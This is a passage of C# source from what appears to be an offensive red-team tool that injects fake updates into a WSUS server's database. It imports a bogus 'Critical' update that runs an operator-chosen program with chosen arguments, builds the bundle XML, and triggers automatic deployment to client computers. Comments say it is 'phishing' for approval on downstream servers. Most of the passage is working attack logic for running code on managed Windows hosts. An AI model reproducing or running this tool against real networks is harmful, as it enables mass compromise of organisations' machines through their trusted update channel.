621 | sbUpdate.AppendLine("\t" + @"");
622 | sbUpdate.AppendLine("\t" + @"");
623 | sbUpdate.AppendLine("\t\t" + @"");
624 | sbUpdate.AppendLine("\t\t\t" + @"en");
625 | sbUpdate.AppendLine("\t\t\t" + @"Probably-legal-update");
626 | sbUpdate.AppendLine("\t\t" + @"");
627 | sbUpdate.AppendLine("\t" + @"");
628 | sbUpdate.AppendLine("\t" + @"");
629 | sbUpdate.AppendLine("\t\t" + @"");
630 | sbUpdate.AppendLine("\t\t" + @"");
631 | sbUpdate.AppendLine("\t" + @"");
632 | sbUpdate.AppendLine("\t" + @"");
633 | sbUpdate.AppendLine("\t\t" + @"");
634 | sbUpdate.AppendLine("\t\t\t" + @"" + clFileData.sSHA256 + @"");
635 | sbUpdate.AppendLine("\t\t" + @"");
636 | sbUpdate.AppendLine("\t" + @"");
637 | sbUpdate.AppendLine("\t" + @"");
638 | sbUpdate.AppendLine("\t\t" + @"");
639 | sbUpdate.AppendLine("\t\t\t" + @"");
640 | sbUpdate.AppendLine("\t\t" + @"");
641 | sbUpdate.AppendLine("\t" + @"");
642 | sbUpdate.AppendLine(@"',");
643 | sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL");
644 | sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID");
645 | sqlCommFun.CommandText = sbUpdate.ToString();
646 | try
647 | {
648 | sqldrReader = sqlCommFun.ExecuteReader();
649 | dtDataTbl.Load(sqldrReader);
650 | stUpdateData.iRevisionID = (int)dtDataTbl.Rows[0][1];
651 | if (stUpdateData.iRevisionID == 0)
652 | {
653 | Console.WriteLine("Error importing update");
654 | sqldrReader.Close();
655 | return false;
656 |
657 | }
658 | if (clCLI.bVerbose == true)
659 | {
660 | Console.WriteLine("ImportUpdate");
661 | Console.WriteLine("Update Revision ID: {0}", stUpdateData.iRevisionID);
662 | }
663 | sqldrReader.Close();
664 |
665 | sqldrReader.Close();
666 | return true;
667 | }
668 | catch
669 | {
670 | Console.WriteLine("\r\nFunction error - FbImportUpdate.");
671 | }
672 | return false;
673 | }
674 | static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun, ClFile clFileData)
675 | {
676 | SqlDataReader sqldrReader;
677 | StringBuilder sbXMLClient = new StringBuilder();
678 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + clGuidData.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL");
679 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties>',NULL,'en'");
680 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + clFileData.lSize + @""" MinDownloadSize=""" + clFileData.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + clFileData.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + clFileData.sFileName + @""" Size=""" + clFileData.lSize + @""" Modified=""2010-11-25T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + clFileData.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + clFileData.sArgs + @""" Program=""" + clFileData.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Failed""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""0"" /></InstallCommand></HandlerSpecificData>',NULL");
681 | sqlCommFun.CommandText = sbXMLClient.ToString();
682 | try
683 | {
684 | if (clCLI.bVerbose == true)
685 | {
686 | Console.WriteLine("PrepareXMLtoClient");
687 | }
688 | sqldrReader = sqlCommFun.ExecuteReader();
689 | sqldrReader.Close();
690 | return true;
691 | }
692 | catch
693 | {
694 | Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient.");
695 | return false;
696 | }
697 | }
698 | static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun)
699 | {
700 | SqlDataReader sqldrReader;
701 | StringBuilder sbXMLBundle = new StringBuilder();
702 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + clGuidData.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + clGuidData.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL");
703 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"', 204, 4, N'<LocalizedProperties><Language>en</Language><Title>" + stUpdateData.sTitle + @"</Title><Description>" + stUpdateData.sDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + stUpdateData.sURL + @"</MoreInfoUrl><SupportUrl>" +stUpdateData.sURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'");
704 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + stUpdateData.sClassification + @""" IsBeta=""false""><SupportUrl>" + stUpdateData.sURL + @"</SupportUrl><SecurityBulletinID>" + stUpdateData.sMSRCNumber + @"</SecurityBulletinID><KBArticleID>" + stUpdateData.sKBNumbers + @"</KBArticleID></ExtendedProperties>',NULL");
705 | sqlCommFun.CommandText = sbXMLBundle.ToString();
706 | try
707 | {
708 | if (clCLI.bVerbose == true)
709 | {
710 | Console.WriteLine("PrepareXMLBundletoClient");
711 | }
712 | sqldrReader = sqlCommFun.ExecuteReader();
713 | sqldrReader.Close();
714 | return true;
715 | }
716 | catch
717 | {
718 | Console.WriteLine("\r\nFunction error - FbPrepareXMLBundletoClient.");
719 | return false;
720 | }
721 | }
722 | static bool FbInjectUrl2Download(SqlCommand sqlCommFun, ClFile clFileData)
723 | {
724 | SqlDataReader sqldrReader;
725 | StringBuilder sbDownloadURL = new StringBuilder();
726 | string sDownloadURLexec = string.Empty;
727 | if (clWSUSData.bSSL == true)
728 | {
729 | sDownloadURLexec = @"https://" + clWSUSData.sComputerName + ":" + clWSUSData.iPortNumber + "/Content/wuagent.exe";
730 | }
731 | else if (clWSUSData.bSSL == false)
732 | {
733 | sDownloadURLexec = @"http://" + clWSUSData.sComputerName + ":" + clWSUSData.iPortNumber + "/Content/wuagent.exe";
734 | }
735 | else
736 | {
737 | return false;
738 | }
739 |
740 | sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N' '");
741 | sqlCommFun.CommandText = sbDownloadURL.ToString();
742 | try
743 | {
744 | if (clCLI.bVerbose == true)
745 | {
746 | Console.WriteLine("InjectURL2Download");
747 | }
748 | sqldrReader = sqlCommFun.ExecuteReader();
749 | sqldrReader.Close();
750 | return true;
751 | }
752 | catch
753 | {
754 | Console.WriteLine("\r\nFunction error - FbInjectUrl2Download.");
755 | return false;
756 | }
757 | }
758 | static bool FbDeploymentRevision(SqlCommand sqlCommFun, int iRevisionID)
759 | {
760 | SqlDataReader sqldrReader;
761 | StringBuilder sbDeployRev = new StringBuilder();
762 | sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + iRevisionID);
763 | sqlCommFun.CommandText = sbDeployRev.ToString();
764 | try
765 | {
766 | if (clCLI.bVerbose == true)
767 | {
768 | Console.WriteLine("DeploymentRevision");
769 | }
770 | sqldrReader = sqlCommFun.ExecuteReader();
771 | sqldrReader.Close();
772 | return true;
773 | }
774 | catch
775 | {
776 | Console.WriteLine("\r\nFunction error - FbDeploymentRevision.");
777 | return false;
778 | }
779 | }
780 | static bool FbPrepareBundle(SqlCommand sqlCommFun)
781 | {
782 | SqlDataReader sqldrReader;
783 | StringBuilder sbPrepareBund = new StringBuilder();
784 | System.Data.DataTable dtDataTbl = new System.Data.DataTable();
785 |
786 | sbPrepareBund.AppendLine(@"declare @iImported int");
787 | sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int");
788 | sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'");
789 | sbPrepareBund.AppendLine(@"");
790 | sbPrepareBund.AppendLine("\t" + @"");
791 | sbPrepareBund.AppendLine("\t" + @"");
792 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sURL + @"");
793 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sMSRCNumber + @"");
794 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sKBNumbers + @"");
795 | sbPrepareBund.AppendLine("\t" + @"");
796 | sbPrepareBund.AppendLine("\t" + @"");
797 | sbPrepareBund.AppendLine("\t\t" + @"");
798 | sbPrepareBund.AppendLine("\t\t\t" + @"en");
799 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sTitle + @"");
800 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sDescription + "");
801 | sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.");
802 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sURL + @"");
803 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sURL + @"");
804 | sbPrepareBund.AppendLine("\t\t" + @"");
805 | sbPrepareBund.AppendLine("\t" + @"");
806 | sbPrepareBund.AppendLine("\t" + @"");
807 | sbPrepareBund.AppendLine("\t\t" + @"");
808 | sbPrepareBund.AppendLine("\t\t\t" + @"");
809 | sbPrepareBund.AppendLine("\t\t\t\t" + @"");
810 | sbPrepareBund.AppendLine("\t\t\t" + @"");
811 | sbPrepareBund.AppendLine("\t\t" + @"");
812 | sbPrepareBund.AppendLine("\t\t" + @"");
813 | sbPrepareBund.AppendLine("\t\t\t" + @"");
814 | sbPrepareBund.AppendLine("\t\t" + @"");
815 | sbPrepareBund.AppendLine("\t" + @"");
816 | sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL");
817 | sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID");
818 | sqlCommFun.CommandText = sbPrepareBund.ToString();
819 | try
820 | {
821 | sqldrReader = sqlCommFun.ExecuteReader();
822 | dtDataTbl.Load(sqldrReader);
823 | stUpdateData.iRevisionID = (int)dtDataTbl.Rows[0][1];
824 | if (clCLI.bVerbose == true)
825 | {
826 | Console.WriteLine("PrepareBundle");
827 | Console.WriteLine("PrepareBundle Revision ID: {0}", stUpdateData.iRevisionID);
828 | }
829 | if(stUpdateData.iRevisionID == 0)
830 | {
831 | Console.WriteLine("Error creating update bundle");
832 | sqldrReader.Close();
833 | return false;
834 | }
835 | sqldrReader.Close();
836 | return true;
837 | }
838 | catch
839 | {
840 | Console.WriteLine("\r\nFunction error - FbPrepareBundle.");
841 | return false;
842 | }
843 | }
844 | static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID)
845 | {
846 | SqlDataReader sqldrReader;
847 | sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'";
848 | try
849 | {
850 | sqldrReader = sqlCommFun.ExecuteReader();
851 | sqldrReader.Close();
852 | }
853 | catch
854 | {
855 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate: Decline Update.");
856 | return false;
857 | }
858 | sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'";
859 | try
860 | {
861 | sqldrReader = sqlCommFun.ExecuteReader();
862 | sqldrReader.Close();
863 | }
864 | catch
865 | {
866 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate.");
867 | return false;
868 | }
869 | sqldrReader.Close();
870 | return true;
871 | }
872 | static void Main(string[] args)
873 | {
874 | try
875 | {
876 | if (!clCLI.FbCLIInterface(args))
877 | {
878 | clCLI.FvPrintUsage();
879 | return;
880 | }
881 | if (clWSUSData.bWSUSInstalled == false)
882 | {
883 | Console.WriteLine("While checking registry it appears WSUS is not installed, stopping execution.");
884 | return;
885 | }
886 | SqlCommand sqlComm = new SqlCommand();
887 | sqlComm.Connection = FsqlConnection();
888 | if (sqlComm.Connection != null)
889 | {
890 | if (clCLI.bEnumComps == true)
891 | {
892 | FbEnumAllComputers(sqlComm);
893 | }
894 | if(clCLI.bEnumDS == true)
895 | {
896 | FbEnumDownStream(sqlComm);
897 | }
898 | if(clCLI.bDeleteUpdate == true)
899 | {
900 | if (FbDeleteUpdate(sqlComm, clCLI.sBundleGUID) == false)
901 | {
902 | return;
903 | }
904 | }
905 | if (clCLI.bTargetComputer == true || clCLI.bManualApproval == true)
906 | {
907 | /////
908 | //ClFile(filename, local filepath, arguments, copy file to WSUS\Content?, WSUS Content Path)
909 | //Todo - Dynamically detect WSUS content path, it's in registry
910 | ClFile clFileData = new ClFile(clCLI.sCliFileName, clCLI.sCliFilePath, clCLI.sCliArgs, clWSUSData.sLocalContentCacheLocation, true);
911 | /////
912 | /////
913 | //If you're going to use single quotes in title, description, or anywhere below, use two or it won't work correctly
914 | //For example, we''re going phishing.
915 | /////
916 | stUpdateData.sTitle = "Windows Super Awesome Critical Update for Super Fun Times (KB1234567)";
917 | stUpdateData.sReleaseDate = @"2018-11-02T17:00:00.000Z";
918 | stUpdateData.sClassification = "Critical";
919 | stUpdateData.sMSRCNumber = "MS18-123";
920 | stUpdateData.sKBNumbers = "1234567";
921 | stUpdateData.sDescription = "This update will patch super awesome versions of Windows. We''re phishing for an auto-approval or manual approval on the downstream WSUS servers";
922 | //stUpdateData.sProducts = "Windows XP, 2003, 7, 2008(R2), 2012, 10, 2016";
923 | stUpdateData.sURL = @"https://ijustwannared.team";
924 | /////
925 | if (!FbGetWSUSConfigSQL(sqlComm))
926 | {
927 | return;
928 | }
929 | if (!FbImportUpdate(sqlComm, clFileData))
930 | {
931 | return;
932 | }
933 | if (!FbPrepareXMLtoClient(sqlComm, clFileData))
934 | {
935 | return;
936 | }
937 | if (!FbInjectUrl2Download(sqlComm, clFileData))
938 | {
939 | return;
940 | }
941 | if (!FbDeploymentRevision(sqlComm, stUpdateData.iRevisionID))
942 | {
943 | return;
944 | }
945 | if (!FbPrepareBundle(sqlComm))
946 | {
947 | return;
948 | }
949 | if (!FbPrepareXmlBundleToClient(sqlComm))
950 | {
951 | return;
952 | }
953 | if (!FbDeploymentRevision(sqlComm, stUpdateData.iRevisionID))
954 | {
955 | return;
956 | }
957 | Console.WriteLine("To delete update run the following: Thunder_Woosus.exe -DeleteUpdate {0}", clGuidData.gBundle);
958 | }
959 | }
960 | else
961 | {
962 | Console.WriteLine("\r\nSQL Command null");
963 | }
964 | sqlComm.Connection.Close();
965 | }
966 | catch
967 | {
968 | Console.WriteLine("\r\nFunction error - Main.");
969 | Console.WriteLine("Does {0} exist on your local target?", clCLI.sCliFilePath);
970 | }
971 | }
972 | }
973 | }
974 |
--------------------------------------------------------------------------------